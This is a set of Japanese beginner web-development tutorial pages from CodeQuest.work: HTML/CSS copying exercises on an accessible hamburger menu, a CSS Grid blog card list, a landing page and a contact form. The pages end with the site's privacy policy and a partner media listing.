ポイントは、付ける先がメニュー本体ではなくボタンのほうだという点です。ハンバーガーボタンを押したときにCSSクラスだけを付け外しする実装は珍しくありませんが、それだと開いているか閉じているかが見た目にしか存在しません。属性を切り替えれば、アクセシビリティツリー上のボタンの状態も expanded=false から expanded=true へ変わることを実測で確認しました。 なおMDNは「aria-expandedがあること自体が『制御している』という意味になる。他の要素の展開状態を制御しない要素には付けないこと」とも注意しています。ナビゲーションのリンクそのものに付けるのは誤りです。 閉じたメニューにフォーカスが入ってしまう問題 ここがこの課題の山場です。メニューを「見た目だけ」隠すと、閉じているのにキーボードのフォーカスが中へ入り込みます。画面には何も見えないのにTabを押すとフォーカスリングが消え、そのあと何度か押さないと本文へ進めません。挙動は隠し方によって分かれます。Chromium 151で、閉じたメニューの中にあるリンクへTabが到達するかを実測した結果が次の表です。 隠し方Tabで入るか備考display: none入らないレイアウトからも消えるvisibility: hidden入らない場所は占有したままmax-height: 0 と overflow: hidden入る見えないのに操作できるopacity: 0 や transform で画面外へ入る同上inert 属性入らない見た目の指定と独立 visibility: hidden について、MDNは「要素ボックスは不可視になる（描画されない）が、レイアウトには通常どおり影響する。要素はフォーカスを受け取れない（Tabによる移動などでも）」と明記しています（MDN: visibility・2026年8月2日取得）。 問題は3番目と4番目です。アニメーションを付けたいときに選ばれやすい隠し方ですが、どちらも要素自体は描画され続けるためフォーカスが到達します。この課題の模写サンプルで確かめたところ、閉じた状態のメニューは高さ0（computed値で max-height: 0px、overflow: hidden、描画高さ0）でしたが、Tabを押すとメニュー内の4つのリンクをすべて順に通過しました。さらに見えないリンクにフォーカスが当たった瞬間、クリップされているはずのコンテナのscrollTopが0から24へ動いていました。これが「画面が勝手にずれる」正体です。 アニメーションを残したまま解決するなら、inert属性が使えます。MDNは「要素がinertのとき、リンク・ボタン・フォームコントロールといった通常は操作可能な要素も含めて、フォーカスもクリックもできなくなる。inertな要素とその子孫は、タブ順序とアクセシビリティツリーから取り除かれる」と記述しています（MDN: inert・2026年8月2日取得）。同ページのBaseline表示は「Widely available」、利用可能になったのは2023年4月とされています。 実際に、先ほどの模写サンプルの閉じたメニューにinertを1つ足しただけで、CSSの隠し方は何も変えないままTabが4つのリンクを飛ばして本文へ抜けるようになりました。開閉ボタン側の処理は次のようになります。閉じている状態をHTMLの初期値として持たせ、クリックのたびに2つの状態を同時に更新します。 const btn = document.querySelector('.site-header__toggle'); const nav = document.getElementById('gnav'); btn.addEventListener('click', () => { const willOpen = btn.getAttribute('aria-expanded') !== 'true'; btn.setAttribute('aria-expanded', String(willOpen)); nav.inert = !willOpen; }); 見た目の切り替えは、この属性を手がかりにCSS側で書きます。JavaScriptからスタイルを直接書き換えず、属性が状態の唯一の置き場になっている形です。この構成でTabの通り道を実測すると、閉じているときはロゴ → ボタン → 本文、開いているときはボタン → メニューの各リンク → 本文となりました。 現在地は aria-current で示す ナビゲーションの「今いるページ」だけ色を変える、下線を引く、といった表現はよく使われます。 ### [模写初級 #004｜ブログ一覧（記事カードを並べる）](https://codequest.work/html-mosha-bloglist-004/) ブログ一覧ページの模写課題とは、同じ形のカードを何枚も並べるレイアウトを、枚数が変わっても崩れない形で組む練習です。この004をやり切ると、記事カードの並びをCSS Gridの repeat() で書き、カードを1枚に減らしても10枚に増やしても破綻しない状態を自分で作れるようになります。 001から003までは「1つしかないもの」を作る課題でした。004で初めて「同じものが何個も並ぶ」が出てきます。実務のブログ一覧は記事が3件のことも12件のこともあり、その数はあとから変わります。だからこの課題の合否は、見た目の一致ではなく枚数を変えても壊れないかで判定します。 項目内容難易度初級所要時間目安2〜3時間（実装量から見積もった目安で、計測値ではありません）使う技術HTML / CSS / CSS Grid / object-fit / メディアクエリ模写対象Daily Notes（記事カードが並ぶブログ一覧ページ） この課題で模写するページ 模写サンプルサイト　　beginner004 / Daily Notes ヘッダー（ロゴ＋ナビ）／ヒーロー／記事一覧／カテゴリー一覧／フッターの5ブロックでできたブログのトップページです。記事一覧には同じ形のカードが6枚並び、1枚は「サムネイル・カテゴリーラベル・タイトル・抜粋文・投稿日」でできています。 サンプルのCSSを読むと、記事一覧の段組みはスマホ1列 →（600px以上）2列 →（900px以上）3列で切り替わっていました。ブレークポイントを自分で決めるときの目安にしてください。 ひとつだけサンプルが割り切っている箇所があります。グローバルナビは900px未満だと display: none で消えるだけで、代わりのメニューがありません。そのまま再現して構いませんが、ここを直すのが一番おいしい加点になります。 カードの枚数が変わっても崩れない並べ方 この課題の核はここです。以下の数値は、幅960pxの画面・コンテナ最大幅960px（左右padding 16px）・gap: 32px の条件で実際に描画して測りました（Chromium・2026-08-02実測）。 列数を直接書く方法（サンプルの方式） サンプルは grid-template-columns: repeat(2, 1fr) のように列数をそのまま書き、メディアクエリで3回切り替えています。読みやすく、初級の答えとしては十分です。 注意点は、メディアクエリを1つでも書き忘れると即座に破綻することです。repeat(3, 1fr) だけを書いて切り替えを用意しなかった状態を320px幅で測ると、カード1枚の幅は74.7pxになりました。横スクロールは出ませんが、文字も画像も潰れて読めません。 列数をブラウザに決めさせる方法（auto-fill / auto-fit） repeat() の第1引数には数値のほかに auto-fill と auto-fit が書けます。MDNは auto-fill を「制約のある（最大サイズを持つ）コンテンツボックスをはみ出さない範囲で、最大の繰り返し回数に解決される」と定義し、auto-fit は「auto-fill と同じだが、グリッドアイテムを配置したあと、空の繰り返しトラックが折りたたまれる」と説明しています。 .posts-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 32px; } この4行だけで、320px幅では1列、960px幅では3列になりました。メディアクエリは1行も書いていません。minmax() は「min以上max以下のサイズ範囲を定義する関数」（MDN）なので、ここでは「1枚あたり最低280px、余りは等分」という意味になります。本題の「枚数を変えたとき」の実測結果が次の表です（960px幅）。 書き方カード6枚カード1枚repeat(3, 1fr)288px×3列・2行288px（右3分の2が空く）auto-fill, minmax(280px, 1fr)288px×3列・2行288px（右3分の2が空く）auto-fit, minmax(280px, 1fr)288px×3列・2行928px（全幅に伸びる） 差が出るのは列が1本まるごと空になったときだけです。カード4枚（3列＋2行目に1枚）では両者の結果が完全に一致しました。2行目に1枚だけ残る状態は、どの列も「どこかの行では使われている」ため折りたたみが起きません。1件のときに全幅へ伸ばしたくないなら auto-fill です。 minmax の最小値を大きくしすぎると横スクロールが出る minmax() の最小値は「これ以上は縮まない」下限なので、画面がその値より狭いとカードがはみ出します。320px幅（内寸288px）での実測です。 最小値の書き方カード幅横スクロールminmax(280px, 1fr)288px出ないminmax(320px, 1fr)320px出る（内容幅336px）minmax(min(320px, 100%), 1fr)288px出ない 直し方は、最小値を下げるか min(320px, 100%) で「使える幅を超えない」上限をかぶせるかです。後者なら、あとから最小値を大きくしても狭い画面で溢れません。 出典：MDN Web Docs「repeat()」／MDN「minmax()」（いずれも英語版・2026-08-02取得） カード1枚のHTMLを意味のある形にする MDNは <article> を「自己完結した構成物で、単独で配信したり再利用したりできることを意図したもの」と定義し、例として「ブログの投稿」と「商品カード」を挙げています。記事カードはこれに当てはまります。 模写サンプルは <li> だけで組んでいて <article> は使っていません。間違いではありませんが、<li> の中に <article> を置けば「一覧の項目である」と「1件の記事である」を両方表せます。MDNは「それぞれの <article> は通常、子要素として見出しを含めることで識別されるべき」とも書いています。カード内のタイトルは必ず見出しタグにしてください。 <ul class="posts-list"> <li> <article class="post-card"> <figure class="post-card-thumbnail">...</figure> <div class="post-card-body"> <span class="post-card-category">...</span> <h3><a href="...">記事タイトル</a></h3> <p class="post-card-excerpt">...</p> <time datetime="2024-01-15">2024.01.15</time> </div> </article> </li> <!-- 以下、同じ形を必要な枚数ぶん繰り返す --> </ul> 日付は time の datetime に機械可読で書く 画面に出す文字は「2024.01.15」でも「2024年1月15日」でも構いません。ただし datetime 属性は決められた書式で書く必要があります。MDNも「記事の公開日時は <time> 要素の datetime 属性で記述できる」と明記しています。 表したいもの書式例日付YYYY-MM-DD2024-01-15年月YYYY-MM2024-01日付と時刻YYYY-MM-DDTHH:MM2024-01-15T11:12 気をつけたいのは、書式を間違えてもブラウザは何も教えてくれないことです。datetime="2024.01.12" や datetime="2024/01/10" と書いたページで確かめたところ、エラーも警告も出ず、.dateTime の値も書いた文字列がそのまま返りました。完成条件でまとめて確認します。 サムネイルの alt には何を書くか 模写サンプルの6枚のサムネイルはすべて空です。手抜きに見えて、これが正しい書き方です。MDNは「この属性を空文字列にすると、その画像がコンテンツの重要な部分ではない（装飾やトラッキングピクセルである）ことを示す」と説明しています。判断はこの1点で決まります。 画像を消しても意味が伝わる（隣のタイトルが同じことを言っている）→ 空にする 画像を消すと意味が失われる（グラフ・図解・画像自体が主題）→ 何が写っているかを書く やってはいけないのは「サムネイル」「画像」「photo-1517694712202.jpg」のように、読み上げても何の役にも立たない文字を入れることです。なおカードの高さを揃えているのは figure の aspect-ratio: 16 / 10 と object-fit: cover で、MDNによれば cover は「縦横比を保ったまま要素のコンテンツボックス全体を埋め、比率が合わなければはみ出した部分が切り取られる」値です。 出典：MDN「<article>」／MDN「<time>」／MDN「<img>」／MDN「object-fit」（いずれも英語版・2026-08-02取得） カード全体をクリックできるようにする代償 模写サンプルはカード全体を1つの <a> で囲む方式です。押せる面積が広くて使いやすいのですが、代償があります。3つのやり方を同じカードで測りました（Chromium・2026-08-02実測）。 やり方本文をドラッグしたときリンクの読み上げ名カード全体を <a> で囲む0文字しか選択できず、代わりにリンクが発火81文字（カテゴリ＋タイトル＋抜粋＋日付）タイトルの a::after をカード全面に広げる0文字しか選択できず、代わりにリンクが発火19文字（タイトルのみ）タイトルだけリンクにする27文字を選択できる（リンクは発火しない）19文字（タイトルのみ） 読み取れることは2つです。1つ目はクリック領域を広げると必ずテキスト選択を失うこと。擬似要素方式でも透明な板がカード全面をふさぐので結果は同じでした。2つ目はカード全体を <a> で囲むとリンクの名前がカードの文字すべてになることです。MDNはスクリーンリーダーのリンク一覧機能に触れたうえで「リンクの中身は、文脈から切り離しても、そのリンクがどこへ行くのかを示すべき」と書いています。 カードの下に「続きを読む」だけを置く形も見かけます。この文言単体では行き先が分かりませんが、達成基準2.4.4（レベルA）には適合しえます。W3Cの規定は「リンクの目的が、リンクテキストだけから、またはリンクテキストとプログラム的に判断できるリンクのコンテキストから判断できること」で、この「コンテキスト」にはHTMLでは「同じ段落・リスト項目・表のセルにあるテキスト」が含まれるからです。ただし、より厳しい基準2.4.9（レベルAAA）はリンクテキストだけでの判別を求め、失敗例F84は「『click here』や『more』のような具体性のないリンクを、具体的にする手段なしに使うこと」を失敗としています。記事タイトルそのものをリンクにするのが、どちらの基準でも安全です。 ### [模写初級 #003 | ｜初心者向けLPレイアウト](https://codequest.work/html-mosha-lp-003/) HTML模写はWeb制作の基礎を身につける最も効果的な練習方法です。この003では、ナビ付きのLP（ランディングページ） を題材に、HTML構造とCSSレイアウトを同時に学びます。 ナビゲーション・セクション分割・画像付きのコンテンツ・レスポンシブ対応など、実務レベルで必要な基礎を固める課題です。 このHTML模写で学べること 次のスキルを一気に習得できます。 LP構成（ヘッダー・各セクション・フッター）のHTML設計 ナビゲーションのリンクと内部遷移の構造 画像とテキストのセクション構成 レスポンシブ対応とビュー別の調整 セマンティックなHTMLマークアップ 模写の完成条件（合格ライン） 以下の条件を満たせば、このLP模写は完成です。 ナビゲーションがあり、各セクションにアンカーリンクがある About / Services / Portfolio / Contact の全セクションがある PCでもスマホでもレイアウトが破綻していない 見出し・コンテンツの意味分けが正しくされている class名が意味ベースで整理されている 模写の進め方（手順） HTMLだけで構造を完成させる最初に CSS を書かずに骨格だけ作ります。意味のあるタグを優先します。 ナビゲーションのリンクを実装する各セクションに id を付け、nav からリンクできるようにします。 レイアウトの大枠を整える各セクションの余白や幅を整え、レスポンシブの基準を決めます。 画像の配置とテキストバランスを整える画像とテキストの見栄え、カードの並びなどを微調整します。 よくあるつまずき ナビリンクが動かない→ id と href の一致を確認しましょう。 画像の縦横比が崩れる→ max-width: 100% と height: auto をまず入れます。 スマホでレイアウトが崩れる→ media query を切って、小さい幅から順に調整します。 模写対象サイト こちらのLPデザインを模写してください： 模写サンプルサイト　　beginner003 見た目を完全一致させる必要はありません。HTML構造とレイアウトの再現が目的です。 模写後のチェックリスト 見出しタグ（h1〜h3）の階層は整っているか section タグが正しく使われているか nav のリンクがスムーズに動くか どのデバイスでも崩れないか ここまでクリアできれば、非常に良い基礎課題になります。 次のステップ この003ができたら、次は レイアウトアニメーション付き模写 フォーム強化版 CSSフレームワークなしで複雑レイアウト など、応用課題に進むと成長が早いです。 よくある質問（FAQ） Q. LP（ランディングページ）の模写はなぜ初心者におすすめですか？ LPは1ページ完結のレイアウトで、ヘッダー・ヒーロー・コンテンツ・CTAボタン・フッターなどWebサイトの基本構造を一通り学べるためです。複数ページの管理が不要で、HTML・CSSの基礎スキルだけで完成させられます。模写完了後はポートフォリオの実績としても活用できます。 Q. 模写コーディングの効果的な進め方は？ まず完成デザインを全体的に観察し、セクション単位で分割します。HTMLで大まかな構造を先に組み立て、その後CSSでスタイリングを行います。一つのセクションが完成したら次に進む形で、上から順に実装するのが効率的です。デベロッパーツールで参考サイトのCSSを確認しながら進めると理解が深まります。 ### [模写初級 #002｜LPのお問い合わせフォームを作る](https://codequest.work/html-mosha-form-002/) フォーム付きLPの模写課題とは、入力欄が「見た目」ではなく「部品」として成立しているかを確かめる練習です。この002をやり切ると、<label> と <input> を for / id で結び、type をブラウザの挙動から逆算して選べるようになります。 フォームは、段落や見出しと違って「表示は正しいのに機能していない」という壊れ方をします。だからこの課題の合否は、スクリーンショットではなくブラウザの反応で判定します。 項目内容難易度初級所要時間目安2〜3時間（実装量から見積もった目安で、計測値ではありません）使う技術HTML / CSS / CSS Grid / メディアクエリ / フォーム関連属性模写対象Studio Craft（1枚もののLP＋お問い合わせフォーム） この課題で模写するページ 模写サンプルサイト　　beginner002 / Studio Craft ヘッダー（ロゴ＋ナビ）／ヒーロー／About／Services／Portfolio／Contact／フッターの7ブロックでできた1ページLPです。ナビの各リンクは #about のようなページ内アンカーで、対応するセクションの id に飛びます。Contactのフォームの中身は次の5つです。 お名前 … input type="text"・必須 メールアドレス … input type="email"・必須 会社名 … input type="text"・任意 お問い合わせ種別 … select（お見積もり依頼／ご相談／その他） お問い合わせ内容 … textarea・必須 段組みはCSS Gridです。サンプルのCSSでは、Servicesのカードが4列 →（1024px以下）2列 →（768px以下）1列、Portfolioが3列 → 2列 → 1列、AboutとContactが2カラム →（768px以下）1カラムでした。ブレークポイントを決めるときの目安にしてください。色やフォントを1pxまで合わせる必要はありません。 ラベルと入力欄をつなぐ（for と id） <label> の for には、同じ文書内にあるフォーム部品の id を書きます。MDNによれば、文書内で最初に見つかった、その id を持つ「ラベル付け可能な要素」が対象になり、対象がラベル付け可能でなければ for は何の効果も持ちません。 <div class="form-group"> <label for="yourName">お名前</label> <input type="text" id="yourName" name="yourName" required> </div> この結び付けで得られる効果を、MDNは2点挙げています。 ラベルがプログラム上も入力欄と結び付くため、スクリーンリーダーが、利用者がその欄にフォーカスした時点でラベルを読み上げる。何を入力する欄かが画面を見ずに分かる ラベルをクリック／タップすると、ブラウザが結び付いた入力欄へフォーカスを渡す。押せる面積が広がり、タッチ操作の人にとって扱いやすくなる 入力欄の隣にただ文字を置くだけでは関連付けになりません。MDNも「<input> に隣接する平文では不十分」と明記しています。<label> で <input> を包む書き方もありますが、MDNは互換性の観点から for を使う明示的な関連付けを推奨しています。なお <label> の中に見出しタグやリンクを入れるのは避けてください。見出しは支援技術のナビゲーション手段として使われるため妨げになる、とMDNは説明しています。 出典：MDN「<label>: The Label element」（英語版・2026-08-02取得） 入力欄の type を使い分ける type は見た目を変える属性ではなく、ブラウザに「この欄で何を受け取るか」を伝える属性です。伝えた内容に応じて、検証・キーボード・部品の形が変わります。 typeブラウザがやること使いどころtext検証なし。素の1行入力お名前・会社名email送信前に形式を自動検証。:valid / :invalid が自動で付くメールアドレスtel形式の検証はしない。モバイルで電話番号向けのキーパッドが出ることがある電話番号number数値として検証し、上下のスピンボタンが付く増減させる数だけ いちばん間違えやすいのが type="number" です。MDNは「number は増減させる数値のためのもので、郵便番号やクレジットカード番号のように数字だけで構成されているが数値ではない値には適さない」とし、その場合は type="tel" か inputmode="numeric" を使うよう案内しています。実害は「見た目が変」では済みません。Chrome 150 で type="number" の欄に 090-1234-5678 を入れると、JavaScriptから読み取れる値が空文字になりました。type="tel" なら同じ文字列が保持され、検証も通ります。 type="email" の限界も知っておいてください。MDNは「値がメールアドレスとして正しい形式かを検証するだけで、そのアドレスが実在することは保証しない」と明言しています。実測でも yamada と yamada@example..com は弾かれましたが、トップレベルドメインのない yamada@example は有効と判定されました。ブラウザの検証は入力ミスを減らす補助であって、最終確認はサーバー側の仕事です。 出典：MDN「<input type="number">」／MDN「<input type="tel">」／MDN「<input type="email">」（英語版・2026-08-02取得） required と placeholder は役割が違う required は制約です。空のまま送信しようとするとブラウザが送信を止め、その欄にエラーを表示します。CSSからは :required で狙えます。MDNは、required を付けたら必須だと目で見て分かる表示を欄の近くに置くよう求めています。 一方 placeholder は入力例のヒントで、制約でもラベルでもありません。MDNの「Placeholders are not accessible」節は、次の4点を理由にラベル代わりの使用を否定しています。 ラベルではないし、その代用にもならない スクリーンリーダーに読まれない 1文字でも入力した時点で消える。入力後に「何の欄だったか」を確認できない ブラウザの自動翻訳が属性を飛ばすことがあり、翻訳されずに残る場合がある 実測でも確認できます。placeholder だけを付けた欄で input.labels.length を調べると 0、<label for> を付けた欄では 1 でした。ラベルが1つも紐づいていない欄は、支援技術から見れば「名前のない入力欄」です。模写サンプルはこの点を正しく作っていて、ラベルには「お名前」「メールアドレス」、placeholder には 山田 太郎 example@email.com と書き方の例だけを入れています。 出典：MDN「<input>: The HTML Input element」／MDN「required」（英語版・2026-08-02取得） autocomplete を足すと入力が一気に楽になる 入門記事ではあまり触れられませんが、フォームの完成度を最短で上げるのが autocomplete 属性です。MDNの定義では、その欄をどう自動入力するかをブラウザに伝えるヒントで、値は on / off か、決められたトークンです。 入力欄値MDNでの定義お名前name人物のフルネーム。姓名を分けずに使うのが推奨メールアドレスemailメールアドレス会社名organization会社・組織の名称電話番号tel国番号を含む電話番号全体 <label for="yourEmail">メールアドレス</label> <input type="email" id="yourEmail" name="yourEmail" autocomplete="email" placeholder="example@email.com" required> これは親切機能というだけではありません。MDNは、正しいトークンを与えることがWCAG 2.2 の達成基準 1.3.5「入力目的の特定」（レベルAA）を満たす、と説明しています。入力欄の目的をプログラムから判別できる状態にする、という基準です。逆に autocomplete="off" は、ワンタイムコードのような例外を除いて避けてください。MDNは多くの利用者が頼っている機能を奪うことになると警告しています。 模写サンプルのHTMLを調べたところ、autocomplete は1つも使われていませんでした。ここは模写して終わりにせず、自分の実装で足してください。サンプルより良いものを作る、この課題の一番おいしい部分です。出典：MDN「HTML attribute: autocomplete」（英語版・2026-08-02取得） 進め方 フォームから作り始めると、ほぼ確実に迷子になります。次の順番を守ってください。 ステップ1：HTMLだけで骨組みを作る CSSを1行も書かずに header → section×4 → footer を並べます。崩れていて構いません。Contactの中に <form> を置き、「ラベル＋入力欄」を1組にした小さなまとまり（サンプルでは .form-group）を積みます。この時点で for と id、name、type、required を書き切るのがコツです。あとから足そうとすると必ずどこかで抜けます。 ステップ2：大枠のレイアウトから整える ページ全体の最大幅と中央寄せ、セクションの上下余白、カード群の段組みの順に進めます。細部から入ると、あとで全体幅を変えたときに全部やり直しになります。段組みは grid-template-columns で作り、狭い画面ではメディアクエリで 1fr（＝1列）に落とすのが最短です。 ステップ3：最後にフォームUIを整える フォームの見た目は次の4点でほぼ決まります。模写サンプルの実装値も併記します。 入力欄の内側の余白 … padding: 14px 16px（768px以下では 12px 14px） 枠線と角丸 … border: 2px solid #e0e0e0 と border-radius: 8px ラベルとの間隔 … ラベルを display: block にして margin-bottom: 8px、組ごとに margin-bottom: 20px フォーカス時 … 枠線の色を変え、さらに box-shadow: 0 0 0 4px で外側にリングを出す サンプルは outline: none で既定のフォーカス表示を消していますが、代わりに枠線の色変更と外側のリングを用意しています。消すなら必ず代わりを置いてください。送信ボタンのサイズも軽視しないように。MDNはWCAG 2.1 達成基準 2.5.5 を引いて、操作要素は最低 44×44 CSSピクセルを推奨しています。 完成条件（ここまでできたら合格） 見た目の印象では判定しません。ブラウザを触って、次の5つがすべて再現できたら合格です。外れたときに疑う場所も1つずつ挙げます。 ### [模写初級 #001 | ｜初心者向けレイアウト](https://codequest.work/html-mosha-001/) HTML模写は、コーディング学習の中でも最も効果的な練習方法のひとつです。 実際のレイアウトを再現しながらコードを書くことで、HTML構造とCSSレイアウトを同時に身につけることができます。 このページでは、初心者でも取り組みやすいHTML模写課題として、基礎レイアウトのコーディング練習問題を用意しています。 「HTMLとCSSを勉強しているけど、何を作ればいいか分からない」「模写をやってみたいけど、難易度が高すぎる」 そんな方のための、最初の一歩として最適な課題です。 このHTML模写で身につくこと この模写課題では、次のスキルをまとめて習得できます。 HTMLの正しい構造設計 セクションの分け方 見出し階層の考え方 カード型レイアウトの作り方 flexboxまたはgridによる3カラム配置 レスポンシブ対応の基礎 見た目を再現することよりも、構造とレイアウトを正しく組む力を身につけることが目的です。 模写の完成条件 以下の条件を満たせば、この課題は完成としてください。 サービス紹介のような3カラム構成になっている PCでは3列、スマホでは1列表示になっている 3カラムはflexboxまたはgridで実装している 見出し・本文・カード構造が整理されている デザインの細かさよりも、HTML構造とレイアウトの正確さを重視してください。 HTML模写の進め方 1. まずHTMLだけで構造を作る 最初に行うのは、見た目ではなく骨組み作りです。 main section h2 ul / li または article などを使い、意味のある構造を意識してマークアップしてください。この段階ではCSSは書かなくて構いません。 2. 次に3カラムレイアウトを作る この模写課題の一番の練習ポイントです。 親要素に display: flexまたは display: grid を指定し、カードが3つ横並びになるように調整します。 width: 33%などの指定に頼らず、レイアウトプロパティで整えることが重要です。 3. 最後に余白と整列を整える 仕上げとして、次の点を調整します。 セクション上下の余白 カード内の余白 行間 中央寄せ ここで初めて「それっぽいデザイン」に近づきます。 よくあるミス floatで無理やり並べる 固定幅でレイアウトが崩れる 見出し階層が整理されていない class名が意味不明になる これらは、模写練習で必ず改善していきたいポイントです。 模写対象サイト こちらのレイアウトを模写してください。 模写サンプルサイト　　beginner001 見た目を完全に再現する必要はありません。構造とレイアウトを再現することを目的に取り組んでください。 模写が終わったら確認すること 模写が終わったら、次の点をチェックしてください。 HTML構造は分かりやすいか class名は意味が伝わるか レスポンシブで崩れていないか 他人が読んでも理解できるコードか ここまで確認できれば、非常に良いHTML模写練習になっています。 次のステップ この課題が終わったら、次は 2カラムレイアウト ナビゲーション付きレイアウト ヒーローセクション付きレイアウト など、少しずつ難易度を上げていくと成長が早くなります。 まとめ HTML模写は、コードを書く量を増やすための練習ではなく、構造を考える力を育てるための練習です。 この基礎模写を通して、 「HTMLが組める感覚」 をぜひ身につけてください。 よくある質問（FAQ） Q. HTML/CSS模写の最初の一歩は何をすればいいですか？ まずHTMLファイルとCSSファイルを作成し、meta viewportタグとリセットCSSを設定します。次に完成デザインを見ながら、div・header・main・footer等のHTML要素で大まかなボックス構造を組みます。CSSはbackground-colorで各ボックスに色を付けて配置を確認しながら、段階的に詳細なスタイリングを行ってください。 Q. 模写コーディングでデベロッパーツールを使うコツは？ Chrome DevToolsのElementsパネルで要素を選択すると、右側にCSSプロパティが表示されます。margin・padding・font-size・colorなどの値を確認し、自分のコードに反映します。「Computed」タブで最終的に適用されているスタイルを確認でき、「Box Model」で余白の視覚的な確認も可能です。 ## 固定ページ ### [archive](https://codequest.work/archive/) ### [プライバシーポリシー](https://codequest.work/privacy-policy/) プライバシーポリシー 個人情報の利用目的 当サイトでは、広告配信やアクセス解析のために、個人情報やアクセス情報を取得・利用することがあります。取得した情報は、以下の目的で利用いたします。 サイトの利便性向上のため 利用者に合わせた広告の配信のため サイトの利用状況の分析と改善のため 個人情報の第三者提供について 当サイトは、個人情報を適切に管理し、以下の場合を除いて第三者に開示することはありません。 ご本人の同意がある場合 法令に基づき開示が必要な場合 利用目的の達成に必要な範囲で業務委託する場合 Google Analyticsの利用について 当サイトでは、Googleが提供するアクセス解析ツール「Google Analytics」を利用しています。このツールはデータ収集のためにCookieを使用しており、ユーザーの情報を匿名で収集します（個人を特定するものではありません）。Google Analyticsのデータ収集や処理方法については、Google Analyticsの利用規約をご確認ください。 Microsoft Clarityの利用について 当サイトでは、Microsoft Corporationが提供するアクセス解析ツール「Microsoft Clarity」を利用しています。サイトの利用状況を分析し、ページの表示や導線を改善する目的で、閲覧されたページのURL、クリックやスクロールなどの操作、画面サイズ、ブラウザやOSの種類、国・地域といった情報を取得し、Microsoft Corporationへ送信しています。 Microsoft Clarityは、利用者を識別するためにCookieを使用します。入力フォームに入力された内容およびドロップダウンの選択内容は、Microsoft Clarityの仕様により常にマスキングされ、記録の対象外となります。取得した情報の取り扱いについてはMicrosoftプライバシーステートメントをご確認ください。Cookieの使用を望まない場合は、ブラウザの設定からCookieを無効にすることができます。 アフィリエイト広告の利用について 当サイトでは、以下のアフィリエイトサービスを利用しています。当サイト内のリンクを経由して商品・サービスを購入された場合、当サイトが報酬を受け取ることがあります。なお、リンク先の商品・サービスの価格に影響はありません。 A8.net（株式会社ファンコミュニケーションズ） バリューコマース（バリューコマース株式会社） 楽天アフィリエイト（楽天グループ株式会社） Google AdSenseの利用について 当サイトでは、Google AdSenseによる広告配信を行っています。Googleなどの第三者配信事業者は、ユーザーの興味に応じた広告を表示するためにCookieを使用することがあります。ユーザーは広告設定からパーソナライズ広告を無効にできます。また、www.aboutads.infoにアクセスすることで、第三者配信事業者によるパーソナライズ広告に対するCookieの使用を無効にすることも可能です。 Cookieについて Cookieとは、利用者のデバイスに保存される小さなテキストファイルのことで、サイトの利用状況に関する情報が含まれます。これにより、より良いサービスを提供するためのアクセス解析や広告配信が可能になりますが、ユーザーはブラウザ設定からCookieを無効にすることもできます。 個人情報の開示、訂正、削除について ご本人からの申し出により、当サイトが保有する個人情報の開示、訂正、削除を希望される場合には、適切な方法で対応いたします。 免責事項 当サイトの掲載情報には、可能な限り正確な情報を提供するよう努めていますが、情報の正確性や適切性について保証するものではありません。内容に基づいて被った損害等については責任を負いかねますので、ご了承ください。 プライバシーポリシーの変更 当サイトは、法令の改正等により、プライバシーポリシーを変更することがあります。変更後のプライバシーポリシーは、当サイトに掲載した時点から適用されるものとします。 ### [メディア情報](https://codequest.work/media/) このページでは、CodeQuest.workが掲載として関わったメディアと、パートナーとしてご紹介しているサイトをまとめています。 Sobani 株式会社そばには、Amazon運用代行・コンサルティングを中心に、EC事業者の売上拡大を支援するAmazon専門のコンサルティング会社です。Amazon販売コンサルティングで培った知見をもとに、アカウント運用代行、広告運用、商品ページ改善、SEO対策、競合・市場分析など、Amazon販売に必要な施策を幅広くサポートしています。 Amazon専門ならではの戦略設計と運用改善により、出店初期の立ち上げから既存アカウントの売上拡大まで、事業者ごとの課題に合わせた支援を行っています。 プルメリア音楽教室 現役演奏家から学べるマンツーマン音楽教室 プルメリア音楽教室は、東京・神奈川・埼玉を中心に130以上のスタジオを展開する音楽教室です。ピアノ、バイオリン、ボーカル、ギター、チェロ、フルート、ドラム、DJなど幅広いコースを用意しており、お子さまから大人の方まで自分のやりたい音楽を見つけることができます。 講師陣は東京音楽大学・桐朋学園・東京藝術大学など名門音楽大学出身の現役演奏家が中心。すべてマンツーマンレッスンのため、一人ひとりの目標やレベルに合わせた丁寧な指導を受けられます。「楽器に触れるのが初めて」という方でも、自分のペースで無理なく上達できる環境が整っています。 失敗しない習い事選び！スクール・習い事教室＆学び情報サイトまとめ DIRECTORS TEAM RINIA 戦略立案から制作、運用まで一貫してサポートするディレクターチーム「RINIA.」は、WEB担当者さまの最良のパートナーを目指しています。コーポレートサイトやランディングページ、ECサイトの構築はもちろん、WordPressオリジナルテーマ・Next.js×WordPressのヘッドレス構成など最新技術にも対応。さらに、SEO対策、アクセス解析、運用保守まで継続的な改善を行い、今あるサイトを“売れる資産”へと成長させます。デザイン・開発・運用の各フェーズを専門チームで支え、安心と成果を両立したい企業さまにおすすめです。 SAMURAI ENGINEER プログラミング初心者やこれからフリーランスを目指す方必見！SAMURAI ENGINEERの記事では、初心者向けにプログラミングの基礎から応用までをわかりやすく解説しています。HTMLやCSS、JavaScriptなどのWeb開発言語や、Python、PHPといったバックエンド開発に役立つ言語も網羅。学習方法やリソースを詳しく紹介し、フリーランスとして効率的にステップアップするためのヒントも満載です。Web開発スキルを身につけて、自由な働き方を実現する一歩を踏み出しましょう！ サクフリブログ サクフリブログは、サクフリ株式会社のオウンドメディアで、「IT業界への架け橋になる」というテーマで、Webスキルの習得方法、その後の「IT業界への転職」や「フリーランスへの独立」方法を発信しています。 サクキミ英語 サクキミ英語は、「子どもから大人の英語学習をサポート」というテーマで、英会話スクール・オンライン英会話・学習塾や家庭教師・英語学習法を中心に、編集メンバーが日々厳選して発信しています。 CodeQuest.workでは、Web制作やデザイン、学びに関わるサイトを編集部で確認したうえで、パートナーとしてご紹介しています。掲載に関するご相談は、こちらからお問い合わせください。